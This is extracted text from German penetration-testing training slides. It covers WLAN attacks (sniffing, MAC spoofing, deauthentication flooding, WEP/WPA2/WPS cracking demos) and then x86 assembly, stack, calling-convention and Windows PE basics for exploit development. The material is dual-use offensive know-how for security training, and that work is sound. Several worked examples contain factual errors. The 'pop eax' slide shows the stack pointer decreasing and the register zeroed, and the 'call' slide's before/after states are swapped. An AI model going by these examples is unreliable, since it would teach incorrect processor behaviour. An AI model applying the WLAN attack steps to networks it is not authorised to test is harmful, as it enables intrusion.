AdHoc vs. Infrastruktur: Vor-/Nachteile
Matthias Sattler, SySS GmbH
165 März 2015 Penetration Testing: WLAN
WLAN-Sniffing
Matthias Sattler, SySS GmbH
166 März 2015 Penetration Testing: WLAN
Sniffing-Airodump
Matthias Sattler, SySS GmbH
167 März 2015 Penetration Testing: WLAN
Sniffing-Aircrack / Aircrack-NG
Matthias Sattler, SySS GmbH
168 März 2015 Penetration Testing: WLAN
Sniffing-Aircrack / Aircrack-NG
Matthias Sattler, SySS GmbH
169 März 2015 Penetration Testing: WLAN
Exkurs „Offenes WLAN“
Matthias Sattler, SySS GmbH
170 März 2015 Penetration Testing: WLAN
Exkurs „Offenes WLAN“
• Ungesicherte WLANs sind NICHT vertrauenswürdig!
• Die Präsenz eines Hackers wird nicht bemerkt!
• Öffentliche HotSpots erfordern besondere Vorsicht!
Matthias Sattler, SySS GmbH
171 März 2015 Penetration Testing: WLAN
Sicherheit im WLAN / WLAN-Hacking
Matthias Sattler, SySS GmbH
172 März 2015 Penetration Testing: WLAN
Anforderungen
Generell: Drei Anforderungen bezüglich der Sicherheit eines Netzwerkes:
• Authentifizierung & Autorisierung
• Integrität
• Vertraulichkeit
Matthias Sattler, SySS GmbH
173 März 2015 Penetration Testing: WLAN
Deaktivierung des SSID-Broadcasts
• Über den regelmäßig ausgestrahlten Beacon erfolgt eine Rundsendung der eigenen (E)SSID des AP
• Die meisten APs erlauben Unterdrückung des Broadcasts Funknetzname wird Clients nicht bekanntgegeben
• Keine Authentifizierung am AP durch Client möglich SSID = „shared secret“
Matthias Sattler, SySS GmbH
174 März 2015 Penetration Testing: WLAN
Deaktivierung des SSID-Broadcasts
• ABER: Jeder Client übermittelt seine SSID während des Handshakes unverschlüsselt
• Sniffer kann gültige SSIDs ermitteln
• Folge daraus: nur ein Trivialschutz der Infrastruktur vor unberechtigten Zugriffen.
Matthias Sattler, SySS GmbH
175 März 2015 Penetration Testing: WLAN
MAC-Filterung am Access Point
• Die MAC-Adressen aller gültigen Clients werden auf dem AP in einer Liste verwaltet.
• Nur Systeme mit einer gültigen MAC-Adresse können sich erfolgreich am AP authentifizieren.
Matthias Sattler, SySS GmbH
176 März 2015 Penetration Testing: WLAN
MAC-Filterung am Access Point
Matthias Sattler, SySS GmbH
177 März 2015 Penetration Testing: WLAN
Vorteile der MAC-Filterung
• Bieten die meisten Hersteller an
• Filter ist nicht sofort als solcher erkennbar
• Viele unbedarfte Angreifer scheitern schon an der Manipulation der MAC-Adresse.
Matthias Sattler, SySS GmbH
178 März 2015 Penetration Testing: WLAN
Nachteile der MAC-Filterung
• Die meisten weitverbreiteten Theorien über MAC-Adressen:
– statisch
– fest
– eingebrannt einzigartig
Matthias Sattler, SySS GmbH
179 März 2015 Penetration Testing: WLAN
Nachteile der MAC-Filterung
• Die meisten weitverbreiteten Theorien über MAC-Adressen:
– statisch
– fest
– eingebrannt einzigartig
FALSCH!!!
Matthias Sattler, SySS GmbH
180 März 2015 Penetration Testing: WLAN
Nachteile der MAC-Filterung
• MAC-Adressen können innerhalb von Sekunden geändert werden:
– Bsp. (unter Linux): ifconfig wlan0 hw ether 00:11:22:33:44:55
• Gültige MAC-Adressen können über einen Sniffing-Angriff herausgefunden werden
Matthias Sattler, SySS GmbH
181 März 2015 Penetration Testing: WLAN
802.11: Authentifizierung am AP
• Zwei verschiedene Methoden:
– Open System
– Shared Key
• Beide Verfahren nur erfolgreich, wenn der Client versucht, sich mit der SSID des APs an diesem anzumelden.
Matthias Sattler, SySS GmbH
182 März 2015 Penetration Testing: WLAN
Deauthentication Flooding
• APs führen Liste mit assoziierten/authentisierten Clients
• Begrenzter Speicherplatz in der Liste
• APs können abstürzen, wenn Liste überläuft
Matthias Sattler, SySS GmbH
183 März 2015 Penetration Testing: WLAN
Deauthentication Flooding
• APs führen Liste mit assoziierten/authentisierten Clients
• Begrenzter Speicherplatz in der Liste
• APs können abstürzen, wenn Liste überläuft
Flooding mit gefakten Association/Authentication Requests
Matthias Sattler, SySS GmbH
184 März 2015 Penetration Testing: WLAN
Deauthentication Flooding
• APs können assoz./auth. Clients de-assoz./deauth.
• Dies geschieht über Managementframes (unverschlüsselt)
• Authentifizierung dieser Frames erfolgt über BSSID des AP - Fake möglich
Flooding mit gefakten De-Authentication-Frames verhindert Kommunikation
Matthias Sattler, SySS GmbH
185 März 2015 Penetration Testing: WLAN
Demo „Deauthentication-Flooding“
Matthias Sattler, SySS GmbH
186 März 2015 Penetration Testing: WLAN
WEP
• Offene Architektur erfordert Zusatzmechanismen, um Vertraulichkeit zu garantieren Datenverschlüsselung
• WEP = Wired Equivalent Privacy
• Erster Ansatz des IEEE um Vertraulichkeit und Integrität in 802.11-Netzen herzustellen
Matthias Sattler, SySS GmbH
187 März 2015 Penetration Testing: WLAN
WEP
• Offene Architektur erfordert Zusatzmechanismen, um Vertraulichkeit zu garantieren Datenverschlüsselung
• WEP = Wired Equivalent Privacy
• Erster Ansatz des IEEE um Vertraulichkeit und Integrität in 802.11-Netzen herzustellen
ABER: WEP ist NICHT sicher!
Matthias Sattler, SySS GmbH
188 März 2015 Penetration Testing: WLAN
Demo „WEP-Hacking“
Matthias Sattler, SySS GmbH
189 März 2015 Penetration Testing: WLAN
WPA
Zwei unterschiedliche Varianten:
• WPA Enterprise
– Authentifizierung über IEEE 802.1x und EAP gegen RADIUS-Server
– Integritätsprüfung durch Michael MIC
– Vertraulichkeit durch Verwendung von TKIP
Matthias Sattler, SySS GmbH
190 März 2015 Penetration Testing: WLAN
WPA
Zwei unterschiedliche Varianten:
• WPA PSK
– Authentifizierung mittels pre-shared key
– Integritätsprüfung durch Michael MIC
– Vertraulichkeit durch Verwendung von TKIP
Matthias Sattler, SySS GmbH
191 März 2015 Penetration Testing: WLAN
WPA2
Zwei unterschiedliche Varianten:
• WPA2 Enterprise
– Authentifizierung über IEEE 802.1x und EAP gegen einen RADIUS-Server
– Integritätsprüfung durch CCMP-MAC, alternativ MIC
– Vertraulichkeit durch Verwendung von AES-CCMP, alternativ TKIP
Matthias Sattler, SySS GmbH
192 März 2015 Penetration Testing: WLAN
WPA2
Zwei unterschiedliche Varianten:
• WPA2 PSK
– Authentifizierung mittels pre-shared key
– Integritätsprüfung durch CCMP-MAC, alternativ MIC
– Vertraulichkeit durch Verwendung von AES-CCMP, alternativ TKIP
Matthias Sattler, SySS GmbH
193 März 2015 Penetration Testing: WLAN
Demo „WPA2-Hacking“
Matthias Sattler, SySS GmbH
194 März 2015 Penetration Testing: WLAN
WEP / WPA / WPA2
Matthias Sattler, SySS GmbH
195 März 2015 Penetration Testing: WLAN
IEEE 802.1x
• Drei beteiligte Instanzen:
– Supplicant
– Authenticator
– Authentication Server
Matthias Sattler, SySS GmbH
196 März 2015 Penetration Testing: WLAN
EAP
• EAP-Nachrichtentypen:
– EAP-Request
– EAP-Response
– EAP-Failure
– EAP-Success
Matthias Sattler, SySS GmbH
197 März 2015 Penetration Testing: WLAN
EAP
• (weitverbreitete) EAP-Methoden:
Matthias Sattler, SySS GmbH
198 März 2015 Penetration Testing: WLAN
802.11i/RSN
• Schlüsselhierarchie/-management
– Paarweise Schlüssel
– Gruppenschlüssel
Matthias Sattler, SySS GmbH
199 März 2015 Penetration Testing: WLAN
802.11i/RSN
Matthias Sattler, SySS GmbH
200 März 2015 Penetration Testing: WLAN
802.11i/RSN
Matthias Sattler, SySS GmbH
201 März 2015 Penetration Testing: WLAN
802.11i/RSN
Matthias Sattler, SySS GmbH
202 März 2015 Penetration Testing: WLAN
802.11i/RSN
Matthias Sattler, SySS GmbH
203 März 2015 Penetration Testing: WLAN
802.11i/RSN
• TKIP + Michael MIC
• AES-CCMP
Matthias Sattler, SySS GmbH
204 März 2015 Penetration Testing: WLAN
WPS
• Standard der WiFi-Alliance zum einfachen Aufbau eines drahtlosen, verschlüsselten Netzwerkes (2007)
• Drei Wege zur einfachen Kommunikation:
– Push button connect
– PIN configuration – internal Registrar
– PIN configuration – external Registrar
Verfahren besitzt Schwachstellen
Matthias Sattler, SySS GmbH
205 März 2015 Penetration Testing: WLAN
Demo „WPS-Hacking“
Matthias Sattler, SySS GmbH
206 März 2015 Penetration Testing: WLAN
Exkurs „Rogue AP“
Matthias Sattler, SySS GmbH
207 März 2015 Penetration Testing: WLAN
FEIERABEND...
Vielen Dank für Ihre Aufmerksamkeit!
Fragen: [email protected]
Daniel Schalberger, SySS GmbH
208 März 2015 Penetration Testing
Exploiting Generell lassen sich ausnutzbare Schwachstellen in Softwareprodukten in die folgenden Kategorien einteilen: 1. Fehler in der Architektur 2. Fehler in der Anwendungslogik 3. Fehler in der Datenverarbeitung
– Buffer Overflows • Stack Overflow • Heap Overflow
– Format String-Schwachstellen – Off-by-One-Schwachstellen
4. Programmierfehler – Format String-Schwachstellen – Use-after-free-Schwachstellen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
Daniel Schalberger, SySS GmbH
209 März 2015 Penetration Testing
Exploiting
erfordert Kenntnisse über
• Hardware-Architektur (x86, ARM, …)
• Software-Architektur (Windows, Linux, …)
• Programmiersprachen
• Werkzeuge (Debugger, Disassembler, …)
Daniel Schalberger, SySS GmbH
210 März 2015 Penetration Testing
Kompilierung
Source Code
Zwischencode
Assembler
Binärcode Ausführbare Datei
Konzept / Flussdiagramm
Daniel Schalberger, SySS GmbH
211 März 2015 Penetration Testing
Quellcode (C)
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
Daniel Schalberger, SySS GmbH
212 März 2015 Penetration Testing
Assembler / Maschinencode
Adresse Opcode Assembler-Befehl
-----------------------------------------
00401000 55 PUSH EBP
00401001 8BEC MOV EBP,ESP
00401003 68 00B04000 PUSH 0x0040B000
00401008 E8 07000000 CALL sub_401014
0040100D 83C4 04 ADD ESP,4
00401010 33C0 XOR EAX,EAX
00401012 5D POP EBP
00401013 C3 RETN
0040B000 48656C6C6F… db ‘Hello World‘,13,0
Daniel Schalberger, SySS GmbH
213 März 2015 Penetration Testing
Warum Maschinensprache
• Quellcode wird vor der Ausführung in Maschinensprache übersetzt • Quellcode ist evtl. nicht verfügbar (alte Software / Malware / Closed
Source) Für das Verständnis von Maschinensprache ist das Verständnis der Architektur Vorraussetzung
Adresse Opcode Assembler-Befehl
-----------------------------------------
00401000 55 PUSH EBP
00401001 8BEC MOV EBP,ESP
00401003 68 00B04000 PUSH 0x0040B000
00401008 E8 07000000 CALL sub_401014
0040100D 83C4 04 ADD ESP,4
00401010 33C0 XOR EAX,EAX
00401012 5D POP EBP
00401013 C3 RETN
Daniel Schalberger, SySS GmbH
214 März 2015 Penetration Testing
Von-Neumann-Architektur 1
• Praktisch alle modernen Computer sind VNA • Code und Daten liegen nebeneinander im selben Arbeitsspeicher • Programm besteht aus sequentieller Folge von Befehlen, evtl. mit
Sprungbefehlen • Von-Neumann-Zyklus:
1. Fetch 2. Decode 3. Fetch Operands 4. Execute 5. Write Back
Daniel Schalberger, SySS GmbH
215 März 2015 Penetration Testing
Von-Neumann-Architektur 2
Komponenten in der VNA:
• ALU (Arithmetisch-Logische-Einheit / „Prozessor“) Führt Maschinencode aus
• Control Unit Zuständig für Abarbeitung von Befehlen
• Speicher Speichert Programme und Daten
• Ein/Ausgabe-Einheit Schnittstelle zu Tastatur / Bildschirm / Festplatte etc.
Daniel Schalberger, SySS GmbH
216 März 2015 Penetration Testing
Von-Neumann-Architektur 3
Code Daten
Befehl 1
Befehl 2
Befehl 3
Daten 1
Daten 2
Daten 3
Daten 4
Prozessor
Speicher
Daniel Schalberger, SySS GmbH
217 März 2015 Penetration Testing
Register
• Kleine (wenige Byte groß), sehr schnelle Speicher • Ähnlich wir Variablen in höheren Programmiersprachen • Nur wenige Register verfügbar
• Speicherzugriffe werden meistens über Register
durchgeführt: 1. R1 = 100 2. R2 = [0x00401234] 3. R3 = R2 + R1 4. [0x00401238] = R3
Daniel Schalberger, SySS GmbH
218 März 2015 Penetration Testing
RISC (Reduced Instruction Set Computer)
• Wenige Befehle
• Viele Register
• Einheitliche Instruktionslänge (z.B. immer 32 Bit)
• Sehr „Low Level“
• Einfach zu Disassemblieren
• Schwer zu verstehen
• Beispiel: ARM
Daniel Schalberger, SySS GmbH
219 März 2015 Penetration Testing
CISC (Complex Instruction Set Computer)
• Viele verschiedene Befehle • Wenige Register, aber Spezialregister • Befehle sind unterschiedlich lang • Schwieriger zu disassemblieren • Programme näher an Hochsprache (z.B.
Schleifenbefehle, Direkter Speicherzugriff) • Dadurch leichter lesbar • Beispiel: Intel 80x86
Daniel Schalberger, SySS GmbH
220 März 2015 Penetration Testing
Byte-Reihenfolge / Endianess
• Big Endian:
Signifikantestes Byte liegt im Speicher vorne
Analog: Uhrzeit (13:37:00 Uhr)
• Little Endian:
Signifikantestes Byte liegt im Speicher hinten
Analog: Datum (13.02.2014)
Daniel Schalberger, SySS GmbH
221 März 2015 Penetration Testing
Unser Fokus: Intel 80x86 (IA-32)
• Wir betrachten Intel 80x86er-Architektur (seit
1978) • Kontinuierliche Weiterentwicklung (32 Bit, FPU,
MMX, SSE, SSE2, SSE3, …) • IA32-Architektur (seit 80386, 1985) ist auch 2014
die beherrschende Architektur • 64-Bit-Erweiterung AMD64 spielt für uns keine
Rolle (wichtig für Betriebsysteme, Treiber, speicherhungrige Applikationen)
Daniel Schalberger, SySS GmbH
222 März 2015 Penetration Testing
IA32-Eckdaten
• 32 Bit-Register
• 32 Bit-Adressbus (max. 4GB Speicher)
• Little Endian
• CISC – Wenige Register
– Komplexe Speicherverwaltung
– Viele Befehle (mehrere hundert verschiedene)
– Befehle unterschiedlich lang (1 Byte bis 15 Bytes)
Daniel Schalberger, SySS GmbH
223 März 2015 Penetration Testing
Prozessor-Register Register Verwendung
EAX Akkumulator
EBX Basis Register
ECX Counter Register
EDX Data Register
ESI Source Index
EDI Destination Index
Register Verwendung
ESP Stack Pointer
EBP Base Pointer
EIP Instruction Pointer
EFlags Flags
Es gibt durch spätere Architektur-Erweiterungen (MMX, SSE) unzählige weitere Register, die aber in „normalem“ Code so gut wie nie verwendet werden. Ausnahme: z.B. 3D-Berechnungen, Bild- und Video-Verarbeitung, Kryptographie (z.B. John the Ripper)
Segment-Register
CS, DS, ES, FS, GS, SS
Daniel Schalberger, SySS GmbH
224 März 2015 Penetration Testing
Allgemeine Register Register Verwendung
EAX Ergebnis von Berechnungen, Rückganewert von Funktionen
EBX Basis für Speicher-Adressierungen
ECX Zähler in Schleifen
EDX Ergänzung zu EAX bei 64-Bit-Berechnungen
ESI Quelle bei String-Operationen
EDI Ziel bei String-Operationen
Daniel Schalberger, SySS GmbH
225 März 2015 Penetration Testing
Spezial-Register Register Verwendung
ESP Zeigt auf die Spitze des „Stacks“
EBP Zur Adressierung lokaler Variablen
EIP Wird nach dem Lesen („fetch“) einer Anweisung automatisch erhöht und zeigt dann auf die nächste Anweisung im Arbeitsspeicher
EFlags Enthält diverse Bits, die anhängig von Ausgabe bestimmter Operationen oder Berechnungen gesetzt werden und anschließend mit hilfe bedingter Sprünge ausgewertet werden können
Daniel Schalberger, SySS GmbH
226 März 2015 Penetration Testing
EFlags
• Inhalt des EFlags-Registers abhängig von vorheriger Berechnung. Wichtige Bits sind:
Bit Bedeutung
Zero Flag Vorangehende Berechnung ergab den Wert 0
Sign Flag Berechnung ergab negativen Wert
Daniel Schalberger, SySS GmbH
227 März 2015 Penetration Testing
Zugriff auf Register
EAX
AX
AL AH
Abwärtskompatibilität: Zugriff kann
• auf das gesamte Register
• auf einzelne Teile erfolgen
Daniel Schalberger, SySS GmbH
228 März 2015 Penetration Testing
Befehls-Satz
Hunderte verschiedener Befehle
aber
ca. 10 Befehle machen über 80% des Codes aus
ca. 20 Befehle machen über 95% des Codes aus
Daniel Schalberger, SySS GmbH
229 März 2015 Penetration Testing
#1 nop
• Tut gar nichts
• Opcode ist nut 1 Byte groß
• Wird als „Füllmasse“ für Speicherbereiche verwendet, z.B. beim Patchen
• Wichtig in der Exploit-Entwicklung
• Intern gleichbedeutend mit xchg eax,eax
Daniel Schalberger, SySS GmbH
230 März 2015 Penetration Testing
Der Stack 1
• Datenstruktur im Speicher
• LIFO-Prinzip
• Elemente werden – auf den Stack „gepusht“
– Von Stack „gepoppt“
• Stack wächst von oben
nach unten
niedrige Adresse
hohe Adresse
Daniel Schalberger, SySS GmbH
231 März 2015 Penetration Testing
Der Stack 2
• ESP zeigt immer auf die Spitze des Stacks (TOS = Top of Stack)
• Bereiche unterhalb von ESP sind undefiniert
• Der Stack wird verwendet um – Lokale Variablen anzulegen
– Parameter an Funktionen zu übergeben
– Informationen über zuvor aufgerufene Funktionen zu speichern
• Verständnis für den Stack ist essentiell, wenn man ein Programm auf Assembler-Ebene verstehen will
Daniel Schalberger, SySS GmbH
232 März 2015 Penetration Testing
#2 push
• Legt ein DWORD (4 Byte) auf dem Stack ab
• Reduziert den Stack-Pointer (ESP) automatisch um 4 Byte
• Parameter kann sowohl Konstante als auch Register sein
push eax
push 0x100
Daniel Schalberger, SySS GmbH
233 März 2015 Penetration Testing
Beispiel: push eax
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 undefined
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Vorher:
Register Wert
eax 0x00000010
esp 0x0012AA8C
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 0x00000010
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Danach:
Register Wert
eax 0x00000010
esp 0x0012AA88
Daniel Schalberger, SySS GmbH
234 März 2015 Penetration Testing
#3 pop
• Entfernt ein Element vom Stack und legt es in einem Register ab
• Erhöht ESP automatisch um 4
pop eax
pop ebp
Daniel Schalberger, SySS GmbH
235 März 2015 Penetration Testing
Beispiel: pop eax
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 undefined
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Vorher:
Register Wert
eax 0x00000010
esp 0x0012AA8C
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 0x00000010
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Danach:
Register Wert
eax 0x00000000
esp 0x0012AA88
Daniel Schalberger, SySS GmbH
236 März 2015 Penetration Testing
#4 call
Ruft ein Unterprogramm („Funktion“) auf:
1. Speichert die Adresse der nächsten Anweisung auf dem Stack
2. Ändert EIP auf die angegebene Adresse der Funktion (Sprungziel)
call 0x0040105A call eax
Daniel Schalberger, SySS GmbH
237 März 2015 Penetration Testing
Beispiel: call 0x0040105A
Adresse Wert
0x0012AA80 undefined
0x0012AA84 0x00401025
0x0012AA88 0x00000010
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Vorher:
Register Wert
eip 0x0040105A
esp 0x0012AA84
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 0x00000010
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Danach:
Register Wert
eip 0x00401020
esp 0x0012AA88
Daniel Schalberger, SySS GmbH
238 März 2015 Penetration Testing
#5 ret
Rücksprung aus einer Funktion
Es gibt 2 Formen: 1. Holen der Rücksprungadresse vom Stack und Sprung
dorthin 2. Holen der Rücksprungadresse vom Stack und Sprung
dorthin, anschließend x Byte von Stack entfernen
ret ret 0xC (je nach Disassembler auch „retn“)
Daniel Schalberger, SySS GmbH
239 März 2015 Penetration Testing
Beispiel: ret 0x8
Adresse Wert
0x0012AA80 undefined
0x0012AA84 0x00401025
0x0012AA88 0x00000004
0x0012AA8C 0x00000003
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Vorher:
Register Wert
eip 0x0040105A
esp 0x0012AA84
Adresse Wert
0x0012AA80 undefined
0x0012AA84 undefined
0x0012AA88 undefined
0x0012AA8C undefined
0x0012AA90 0x00000002
0x0012AA94 0x00000001
Danach:
Register Wert
eip 0x00401025
esp 0x0012AA90
Daniel Schalberger, SySS GmbH
240 März 2015 Penetration Testing
Unterprogramme
Problem:
• Funktionen erwarten Parameter • Funktionen haben Rückgabe-Wert
• Kommunikation zwischen Hauptprogramm und
Funktion kann erfolgen über – Globale Variablen – Stack – Register
Daniel Schalberger, SySS GmbH
241 März 2015 Penetration Testing
Beispiel 1: Hello.c
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 push offset aHello
.text:00401008 call sub_401014
.text:0040100D add esp, 4
.text:00401010 xor eax, eax
.text:00401012 pop ebp
.text:00401013 retn
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
Daniel Schalberger, SySS GmbH
242 März 2015 Penetration Testing
Aufrufkonventionen
Wie Parameter übergeben werden ist compilerabhängig. Es gibt Standards, um Kompatibilität zwischen Programmen und Bibliotheken zu sichern. Man nennt dies Aufruf-Konventionen. • cdecl • stdcall • fastcall • pascal
Daniel Schalberger, SySS GmbH
243 März 2015 Penetration Testing
cdecl
• „c declaration“ – häufigste Aufruf-Art
• Parameter werden von rechts nach links auf den Stack gelegt
• Rückgabewert wird in eax zurückgegeben
• Aufrufender Code ist für das Aufräumen des Stack zuständig
Daniel Schalberger, SySS GmbH
244 März 2015 Penetration Testing
cdecl Beispiel
int func (int a, int b, int c) {…} push c push b push a call func add esp, 0xC Funktions-Rückgabewert ist in eax
Daniel Schalberger, SySS GmbH
245 März 2015 Penetration Testing
stdcall
• „standard call“ – typisch für Microsoft-Code (z.B. Win32-API)
• Parameter werden von rechts nach links auf den Stack gelegt
• Rückgabewert wird in eax zurückgegeben
• Aufgerufener Code ist für das Aufräumen des Stack zuständig
Daniel Schalberger, SySS GmbH
246 März 2015 Penetration Testing
fastcall
• fastcall, sehr laufzeit-effizient
• erste drei Parameter werden in eax, edx und ecx übergeben
• übrige Parameter werden von rechts nach links auf den Stack gelegt
• Rückgabewert wird in eax zurückgegeben
• Aufgerufener Code ist für das Aufräumen des Stack zuständig
Daniel Schalberger, SySS GmbH
247 März 2015 Penetration Testing
pascal
• Von Borland-Compilern (Pascal, Delphi, C++ Builder) verwendet
• Parameter werden von links nach rechts auf den Stack gelegt
• Rückgabewert wird in eax zurückgegeben
• Aufrufender Code ist für das Aufräumen des Stack zuständig
Daniel Schalberger, SySS GmbH
248 März 2015 Penetration Testing
Register-Konventionen
• Bei Funktionsaufrufen dürfen folgende Register am Ende der Funktion verändert sein: EAX, ECX, EDX, EFlags
• Wiederhergestellt werden müssen: EBX, ESI, EDI, EBP
• Sonderfall ESP (hängt von Aufruf-Konvention ab)
• EIP wird durch return wiederhergestellt
Daniel Schalberger, SySS GmbH
249 März 2015 Penetration Testing
Stack Frames 1
1 push ebp
2 mov ebp, esp
3 sub esp, 8
1: BP wird auf dem Stack gesichert 2: BP wird auf TOS gesetzt 3: TOS wird 8 Byte nach unten geschoben Warum?
Daniel Schalberger, SySS GmbH
250 März 2015 Penetration Testing
Stack Frames 2
push par_1 push par_2 call f f (p1, p2) { push ebp mov ebp, esp sub esp, 4 … }
loc_1
return address
saved ebp
par_1
par_2
…
…
old saved ebp
Stack-Frames bilden im Speicher eine verkettete Liste
Daniel Schalberger, SySS GmbH
251 März 2015 Penetration Testing
Beispiel 2: Function.c .text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 mov eax, [ebp+arg_0]
.text:00401006 add eax, [ebp+arg_4]
.text:00401009 mov [ebp+arg_0], eax
.text:0040100C mov eax, [ebp+arg_0]
.text:0040100F pop ebp
.text:00401010 retn
.text:00401020 push ebp
.text:00401021 mov ebp, esp
.text:00401023 push ecx
.text:00401024 push 14h
.text:00401026 push 0Ah
.text:00401028 call sub_401000
.text:0040102D add esp, 8
.text:00401030 mov [ebp+var_4], eax
.text:00401033 mov eax, [ebp+var_4]
.text:00401036 push eax
.text:00401037 push offset ergebnis
.text:0040103C call sub_40104A
.text:00401041 add esp, 8
.text:00401044 xor eax, eax
.text:00401046 mov esp, ebp
.text:00401048 pop ebp
.text:00401049 retn
#include<stdio.h>
int addiere(int p1, int p2) {
p1 = p1 + p2;
return p1;
}
int main() {
int e = addiere(10,20);
printf("Das Ergebnis von
10 + 20 ist %d\n", e);
return 0;
}
Daniel Schalberger, SySS GmbH
252 März 2015 Penetration Testing
Speicherort von Variablen
Lokale Variablen • liegen auf dem Stack • sind über jeweils gültigen Stack-Frame anzusprechen • absolute (globale) Adresse ist nur zur Laufzeit bekannt
Globale Variablen • liegen in Daten-Segment • Compiler kennt die globale Adresse (kann sich aber
durch „Relocation“ ändern)
Daniel Schalberger, SySS GmbH
253 März 2015 Penetration Testing
Moderne Betriebssysteme 1
Betriebssysteme leisten unter anderem
• Programme haben nur eingeschränkten Zugriff auf die Hardware
• Kapselung einzelner Programme • Programmfehler dürfen nicht die Systemstabilität
gefährden • Bereitstellung abstrakter Schnittstellen zur
Hardware • Verteilung von Ressourcen
Daniel Schalberger, SySS GmbH
254 März 2015 Penetration Testing
Moderne Betriebssysteme 2
Unterteilung in mehrere Bereiche: User-Bereich (Ring 3) • normale Programme • Eingeschränkter Zugriff über API Kernel-Bereich (Ring 0) • Kernel, Treiber, etc. • Voller Zugriff auf die Hardware
Ring 1 u. 2 werden von Windows nicht genutzt
0 1 2 3
Daniel Schalberger, SySS GmbH
255 März 2015 Penetration Testing
Moderne Betriebssysteme: Prozess
Ein Prozess ist ein ablaufendes Programm
Besteht aus:
• Programmdatei
• Adressraum
• Mindestens einem Thread
Daniel Schalberger, SySS GmbH
256 März 2015 Penetration Testing
Moderne Betriebssysteme: Thread
Ein Thread ist ein Ausführungsstrang
• Jeder Thread gehört zu einem Prozess und greift auf den selben Adressraum zu
• Jeder Thread hat eigenen Zustand des Prozessors, eigene Register und damit auch eigenen Stack
• Ein Prozess hat am Anfang genau einen Thread und kann bei Bedarf weitere erzeugen
Daniel Schalberger, SySS GmbH
257 März 2015 Penetration Testing
Prozess unter Windows
Ein Windows-Prozess besteht aus
• eigenem virtuellen Adressraum
• Handle-Tabelle (Datei-Deskriptoren etc.)
• Security Token
• zugehörigen Threads
Kernelspace Memory
Userspace Memory
0x00000000
0xFFFFFFFF
Daniel Schalberger, SySS GmbH
258 März 2015 Penetration Testing
Windows-Anwendungen
Anwendungen beinhalten • Programmcode • Daten
– Initialisierte Variablen – Icons – Bilder – Fensterlayout
Verwenden Bibliotheken
Daniel Schalberger, SySS GmbH
259 März 2015 Penetration Testing
Statisch vs. dynamisches Linken
Beim Erzeugen einer ausführbaren Datei müssen Bibliotheken berücksichtigt werden.
statisch: Bibliotheks-Code wird in die ausführbare Datei übernommen.
dynamisch: Code wird zur Laufzeit aus externer Datei (.dll) nachgeladen. Referenziert wird der code i.d.R. über tatsächlichen Funktionsnamen
Daniel Schalberger, SySS GmbH
260 März 2015 Penetration Testing
PE-Dateiformat
Portable Executable Typische Dateiendungen: .exe .dll .scr .sys .drv Imports verraten viel über das Verhalten eines Programms Übung: PE Explorer
MZ-Header
PE Header
Code Section
Data Section
Imports
Resources
Daniel Schalberger, SySS GmbH
261 März 2015 Penetration Testing
PE-Loader
Erzeugen eines neuen Prozesses:
• Initialisieren des Prozesses
• Einzelne Sektionen der PE-Datei in den Speicher laden
• Rekursives Laden benötigter DLLs
• Evtl. Relocation
• Ausführung startet bei „WinMain“
Daniel Schalberger, SySS GmbH
262 März 2015 Penetration Testing
Beispiel Speicher-Layout Memory map of test.exe
Address Size Owner Section Contains
0012E000 00002000 stack of main
00400000 00001000 test PE header
00401000 00001000 test text SFX,data
00402000 00001000 test imports imports
00403000 00001000 test relocs relocations
77DA0000 00001000 Advapi32 PE header
77DA1000 00075000 Advapi32 .text code,imports
77E16000 00005000 Advapi32 .data data
77E1B000 0002A000 Advapi32 .rsrc resources
77E45000 00005000 Advapi32 .reloc relocations
7C800000 00001000 kernel32 PE header
7C801000 00084000 kernel32 .text code,imports
7C885000 00005000 kernel32 .data data
7C88A000 00078000 kernel32 .rsrc resources
7C902000 00006000 kernel32 .reloc relocations
7C910000 00001000 ntdll PE header
7C911000 0007A000 ntdll .text code,exports
7C98B000 00005000 ntdll .data data
7C990000 00033000 ntdll .rsrc resources
7C9C3000 00003000 ntdll .reloc relocations
7E360000 00001000 user32 PE header
7E361000 00060000 user32 .text code,imports
7E3C1000 00002000 user32 .data data
7E3C3000 0002B000 user32 .rsrc resources
7E3EE000 00003000 user32 .reloc relocations
Daniel Schalberger, SySS GmbH
263 März 2015 Penetration Testing
Windows API
Application Programmers Interface Schnittstelle zwischen Anwendungsprogrammen und Betriebssystem High-Level-Aufrufe Besteht aus diversen DLL-Dateien • user32.dll (Fenster, Buttons, Menüs) • advapi.dll (Zusatzfunktionen: Registry, Benutzerverwaltung, Services) • kernel32.dll (Speicherverwaltung, Ein-/Ausgabe, Threads, …) • gdi32.dll (primitive Grafik, Schrift) • ws2_32.dll (Netzwerk)
Daniel Schalberger, SySS GmbH
264 März 2015 Penetration Testing
Native API
Implementiert in ntdll.dll und ntoskrnl.exe
Hier erfolgt, falls nötig, der Wechsel in Ring 0
Abhängigkeiten der
API-DLLs untereinander,
siehe PE-Explorer
kernel32.dll
ntdll.dll
ntoskrnl.exe
sysenter Ring 3 Ring 0
Daniel Schalberger, SySS GmbH
265 März 2015 Penetration Testing
API-Aufrufe
„sprechende“ Funktionsnamen, z.B. • CreateProcess • Messagebox • DestroyWindow Namensgebung am Ende: A: Ansi-Strings (8 Bit pro Zeichen) W: Unicode-Strings (16 Bit pro Zeichen) Ex: Extended, erweiterte Funktion
Daniel Schalberger, SySS GmbH
266 März 2015 Penetration Testing
Übung: „Binary Planting“
Process Monitor
